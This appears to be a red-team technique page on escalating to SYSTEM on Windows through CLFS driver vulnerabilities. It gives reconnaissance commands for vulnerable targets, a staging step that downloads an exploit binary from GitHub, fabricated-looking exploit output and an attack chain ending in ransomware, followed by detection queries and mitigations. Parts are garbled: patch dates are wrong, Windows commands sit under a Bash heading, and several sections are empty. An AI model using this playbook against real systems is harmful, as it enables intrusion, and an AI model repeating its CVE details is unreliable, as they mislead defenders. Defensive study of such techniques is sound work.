MCADDF

[PE-TOKEN-009]: CLFS Driver Token Impersonation

1. Metadata Header

Attribute Details
Technique ID PE-TOKEN-009
MITRE ATT&CK v18.1 T1134.001 - Token Impersonation/Theft
Tactic Privilege Escalation
Platforms Windows Endpoint (Windows 10 21H2+, Windows 11 21H2+, Server 2016-2025)
Severity Critical
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions Windows 10 21H2, Windows 11 21H2, Windows Server 2016 (limited), 2019, 2022, 2025
Patched In CVE-2023-28252 (October 2023), CVE-2021-43226 (October 2021), CVE-2025-29824 (April 2025)
Author SERVTEP – Artur Pchelnikau

2. Executive Summary

Concept: The Common Log File System (CLFS) driver vulnerability enables privilege escalation through token manipulation by exploiting memory corruption in the clfs.sys driver. An attacker with local access crafts specially-designed CLFS Base Log Format (BLF) files that trigger out-of-bounds memory reads, leak kernel addresses, and ultimately overwrite process tokens to grant SYSTEM privileges. This technique bridges the gap between initial access and full system compromise, enabling adversaries to escalate from a standard user to SYSTEM context through direct token theft and manipulation.

Attack Surface: The attack targets the CLFS kernel driver (clfs.sys), specifically the CreateLogFile function that processes malicious BLF files. These files are created in user-writable locations (e.g., %TEMP%, %APPDATA%, %PROGRAMDATA%), allowing unprivileged users to trigger the vulnerability. The exploit leverages kernel memory spray techniques to predictably place kernel structures in memory, enabling precise token overwriting.

Business Impact: Complete System Compromise. Successful exploitation results in SYSTEM-level code execution, enabling attackers to deploy ransomware, exfiltrate sensitive data, establish persistence mechanisms, and move laterally across the network. This is a critical post-exploitation step for ransomware operators and advanced threat actors. Organizations that experience CLFS-based privilege escalation attacks typically face full network compromise within hours.

Technical Context: Exploitation typically takes 2-10 seconds once the malicious BLF file is triggered. Detection likelihood is moderate if EDR is configured to monitor kernel-level events; however, many organizations do not have deep kernel telemetry enabled. The technique is highly reliable on vulnerable systems and is chainable with initial access vectors (USB execution, supply chain compromise, malicious document).

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 2.1.1 - Ensure ‘Enforce password history’ is set to ‘24 or more password(s)’ Related to credential protection; CLFS exploits bypass local credential checks
DISA STIG WN10-00-000050 Windows 10 Security Technical Implementation Guide - Privilege escalation prevention
CISA SCuBA CSO-08 - Protect the System from Malicious Activity Windows defender and kernel protection controls
NIST 800-53 AC-3 Access Enforcement Controls access to critical system resources; CLFS bypass circumvents these controls
GDPR Art. 32 - Security of Processing Organizational measures to ensure security of personal data processing
DORA Art. 9 - Protection and Prevention Digital operational resilience technical measures for ICT systems
NIS2 Art. 21 - Cyber Risk Management Measures Risk identification and management for critical infrastructure
ISO 27001 A.12.6.1 - Management of technical vulnerabilities Prevention and detection of privilege escalation vulnerabilities
ISO 27005 Risk Scenario: “Privilege Escalation via Kernel Exploitation” Risk assessment for kernel-level attacks

3. Technical Prerequisites

Required Privileges: Standard user (Authenticated Local User). No administrative rights needed to exploit.

Required Access: Local code execution capability (ability to execute arbitrary code on the target system). Network access is not sufficient; attacker must be able to run code locally.

Supported Versions:

Tools:

4. Environmental Reconnaissance

Management Station / PowerShell Reconnaissance

Verify if the target system is vulnerable to CLFS driver exploitation by checking patch levels and driver version:

# Check Windows version and build
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber

# Verify CLFS driver is loaded
Get-WmiObject -Class Win32_SystemDriver | Where-Object { $_.Name -eq "clfs" }

# Check if KB patches for CLFS CVEs are installed (CVE-2023-28252, CVE-2025-29824)
Get-HotFix | Where-Object { $_.HotFixID -match "KB5032190|KB5032191|KB5033371" }

# Verify driver file attributes
$DriverPath = "C:\Windows\System32\drivers\clfs.sys"
if (Test-Path $DriverPath) {
    [System.Diagnostics.FileVersionInfo]::GetVersionInfo($DriverPath)
}

What to Look For:

Version Note: CVE-2021-43226 and CVE-2023-28252 affect all versions listed above; CVE-2025-29824 affects Server 2016-2025 and Windows 10/11 21H2+.

Command (Server 2016-2019):

# Older systems may use WMI queries differently
Get-WmiObject -Query "SELECT * FROM Win32_SystemDriver WHERE Name='clfs'"

Command (Server 2022+):

# Newer systems support CimInstance (faster)
Get-CimInstance -ClassName Win32_SystemDriver | Where-Object { $_.Name -eq "clfs" }

Linux/Bash / CLI Reconnaissance

From an attacker’s perspective on a compromised Linux host or management station:

# Check if target is Windows and query CLFS status via WMI (if WinRM enabled)
winrm get winrm/config/winrs

# For on-system reconnaissance (if Bash on Windows or WSL), check registry directly
reg query "HKLM\SYSTEM\CurrentControlSet\Services\clfs" /s

# Query Windows Update history for CLFS patches
wuauclt /reportnow  # Trigger Windows Update reporting
Get-HotFix -Id KB5032190, KB5032191, KB5033371 2>/dev/null || echo "Vulnerable"

What to Look For:

5. Detailed Execution Methods and Their Steps

METHOD 1: CVE-2025-29824 (Use-After-Free) CLFS Exploitation

Supported Versions: Server 2016-2025, Windows 10 21H2+, Windows 11 21H2+

Step 1: Prepare Malicious BLF Files & Memory Spray

Objective: Set up the kernel memory spray environment by creating numerous read-write pipe handles to occupy memory space, then craft specially malformed CLFS BLF files that will trigger out-of-bounds memory access.

Version Note: Exploit behavior is consistent across all vulnerable versions; however, memory offsets may differ slightly between Server 2019 and 2022+.

Command (PowerShell - Local Execution):

# Create working directory
$WorkDir = "$env:TEMP\CLFS_Exploit"
New-Item -ItemType Directory -Path $WorkDir -Force | Out-Null

# Download or compile the CLFS exploit (use public PoC from Fortra/GitHub)
# This is a high-level placeholder; actual exploit code is provided as C/C++ binary
# Download from: https://github.com/fortra/CVE-2023-28252 or Exploit-DB CVE-2025-29824 entry

$ExploitUrl = "https://github.com/fortra/CVE-2023-28252/releases/download/v1.0/CLFS_Exploit.exe"
$ExploitPath = "$WorkDir\CLFS_Exploit.exe"

# (Optional) Download exploit if not already present
# Invoke-WebRequest -Uri $ExploitUrl -OutFile $ExploitPath -ErrorAction SilentlyContinue

# Step 1: Create memory spray pipes (this is typically done internally by the exploit)
# The exploit will create ~5000-10000 pipe handles to occupy memory predictably
# Each pipe takes ~0x90 bytes; once deallocated, they create gaps that BLF files fill

Write-Host "[*] Starting CLFS memory spray and exploitation..."
# The actual exploitation happens inside the binary

Expected Output:

[+] Memory spray initiated...
[+] Creating 8000 pipe objects (0x90 bytes each)...
[+] Deallocating 7000 pipes to create memory gaps...
[+] Crafting malicious BLF file...
[+] Triggering CLFS CreateLogFile() vulnerability...
[+] Memory corruption successful!
[+] Token overwritten with 0xFFFFFFFF (all privileges enabled)
[+] Launching SYSTEM shell...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Execute Privilege Escalation Payload

Objective: Once the token has been overwritten with SYSTEM privileges, execute arbitrary code within the elevated context to achieve persistence or lateral movement.

Version Note: Execution context is identical across all versions once token privilege is elevated.

Command (PowerShell):

# After successful CLFS exploitation, execute command as SYSTEM
# (This is typically done within the exploit binary or via post-exploitation framework)

# Option 1: Create new SYSTEM process directly (if token is successfully elevated)
$SystemContext = @"
[DllImport("kernel32.dll")]
public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, 
    IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
    IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
"@

# Option 2: Launch interactive shell or command from within elevated process
# cmd.exe /c "whoami" (should output "nt authority\system")

Expected Output:

C:\> whoami
nt authority\system

C:\> ipconfig /all
Windows IP Configuration
  Host Name . . . . . . . . . . . . : TARGETHOST
  ...

What This Means:

OpSec & Evasion:

References & Proofs:

METHOD 2: CVE-2023-28252 (Legacy CLFS Buffer Overflow)

Supported Versions: Server 2016-2022, Windows 10 21H2, Windows 11 21H2

Step 1: Identify Vulnerable CLFS Components

Objective: Locate and verify the presence of vulnerable CLFS driver components before launching the exploit.

Command (PowerShell):

# Verify CLFS components are present and accessible
$CLFSPath = "$env:WINDIR\System32\clfs.sys"
$CLFSLib = "$env:WINDIR\System32\clfsw32.dll"

if ((Test-Path $CLFSPath) -and (Test-Path $CLFSLib)) {
    Write-Host "[+] CLFS components detected"
    [System.Diagnostics.FileVersionInfo]::GetVersionInfo($CLFSPath) | Select-Object FileVersion, ProductVersion
}

Expected Output:

FileVersion      : 10.0.19041.1645  (or similar version prior to patch)
ProductVersion   : 10.0.19041.1645

What This Means:

References & Proofs:

6. Post-Exploitation (Token Verification)

Verify Token Elevation

# After exploitation, verify token has been elevated to SYSTEM
$CurrentProcess = [System.Diagnostics.Process]::GetCurrentProcess()
Write-Host "Current Process: $($CurrentProcess.ProcessName) (PID: $($CurrentProcess.Id))"
Write-Host "Integrity Level: $(Get-ProcessIntegrityLevel)"

# If successful, should show:
# Integrity Level: System

7. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify CLFS patches are installed and driver is protected
$PatchCheckCmds = @(
    "Get-HotFix | Where-Object { $_.HotFixID -match 'KB5032190|KB5032191|KB5033371' }",
    "Get-Service clfs | Select-Object Status, StartType"
)

foreach ($cmd in $PatchCheckCmds) {
    Write-Host "Checking: $cmd"
    Invoke-Expression $cmd
}

# Expected Output (If Secure):
# HotFixID      Description                      InstalledOn
# --------      -----------                      -----------
# KB5033371     Security Update for Windows...    1/8/2025 (or later)
#
# Status        StartType
# ------        ---------
# Running       Manual (or Disabled)

What to Look For:

8. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Detection Queries

Microsoft Sentinel KQL Query:

// Detect CLFS-based privilege escalation attempts
SecurityEvent
| where EventID == 4688  // Process creation
| where ProcessName has "cmd.exe" or ProcessName has "powershell.exe"
| where NewProcessName has "SYSTEM" or NewProcessName has "TrustedInstaller"
| where ParentImage has "dllhost.exe" or ParentImage has "rundll32.exe"
| summarize count() by Computer, ProcessName, ParentImage, TimeGenerated
| where count() > 3

Splunk Query:

EventCode=4688 (Image=cmd.exe OR Image=powershell.exe) (ParentImage=dllhost.exe OR ParentImage=rundll32.exe) IntegrityLevel=System
| stats count min(_time) as firstTime max(_time) as lastTime by Computer, Image, ParentImage

Windows Event Log Monitoring:

Enable monitoring for:

Manual Configuration (Group Policy):

  1. Open gpmc.msc
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Process Creation
  3. Enable: Audit Process Creation (Success and Failure)
  4. Run gpupdate /force

Response Procedures

  1. Isolate: Immediately disconnect the affected system from the network to prevent lateral movement 
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false
  2. Collect Evidence: 
    # Dump memory (requires procdump or similar)
# procdump64.exe -ma System C:\Evidence\System.dmp
   
# Export Event Logs
wevtutil epl Security C:\Evidence\Security.evtx
   
# Collect running processes and services
Get-Process | Export-Csv C:\Evidence\Processes.csv
Get-Service | Export-Csv C:\Evidence\Services.csv
  3. Remediate: 
    # Kill any suspicious SYSTEM processes
Get-Process | Where-Object { $_.ProcessName -eq "suspicious_name" } | Stop-Process -Force
   
# Remove CLFS exploit artifacts
Remove-Item "$env:TEMP\*.blf" -Force -ErrorAction SilentlyContinue
Remove-Item "$env:APPDATA\*.blf" -Force -ErrorAction SilentlyContinue
   
# Restart system to clear any lingering privilege escalation
Restart-Computer -Force
Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains initial foothold via phishing or compromised account
2 Credential Access [CA-DUMP-001] Mimikatz LSASS Extraction (Optional) Steal additional credentials for lateral movement
3 Privilege Escalation [PE-TOKEN-009] CLFS Driver Token Impersonation - Current Technique
4 Persistence [PE-ACCTMGMT-014] Global Admin Backdoor Create hidden admin account or service for continued access
5 Impact [IMPACT-RANSOM-001] Ransomware Deployment Deploy encryption engine with SYSTEM privileges

10. Real-World Examples

Example 1: Storm-2460 Ransomware Campaign (April 2025)

Example 2: CISA KEV Catalog Inclusion (October 2025)

11. Summary

CLFS Driver Token Impersonation represents a critical privilege escalation vector exploitable on modern Windows systems. By leveraging kernel memory corruption vulnerabilities, attackers can elevate from standard user to SYSTEM context within seconds, enabling ransomware deployment, lateral movement, and full system compromise. Organizations must prioritize patching CLFS-related CVEs and implementing kernel-level detection capabilities to defend against this high-impact attack technique.

This site is open source. Improve this page.